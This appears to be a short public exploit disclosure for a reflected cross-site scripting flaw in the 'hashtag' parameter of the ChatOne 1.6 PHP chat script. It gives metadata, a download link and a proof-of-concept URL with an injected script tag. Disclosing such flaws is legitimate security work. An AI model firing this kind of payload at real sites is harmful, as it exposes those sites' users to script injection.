# Exploit Title: ChatOne 1.6 - 'hashtag' Cross-Site Scripting # Google Dork: N/A # Date: 2018-08-16 # Exploit Author: Ali Alipour # Vendor Homepage: https://codecanyon.net/item/chatone-social-networking-php-script/20737789 # Software Link Download : http://dl.20script.ir/script/chat/chatone[www.20script.ir].zip # Version: 1.6 # Tested on: Kali Linux / Windows 10 Vulnerable Parameter Type: GET Vulnerable Parameter: http://localhost/chat/hashtag?hashtag=[XSS] # Proof of Concepts: [ chat/hashtag?hashtag='%22()%26%25<acx><ScRiPt%20>prompt('Ali Alipour')</ScRiPt> ] http://localhost/chat/hashtag?hashtag='%22()%26%25<acx><ScRiPt%20>prompt('Ali Alipour')</ScRiPt>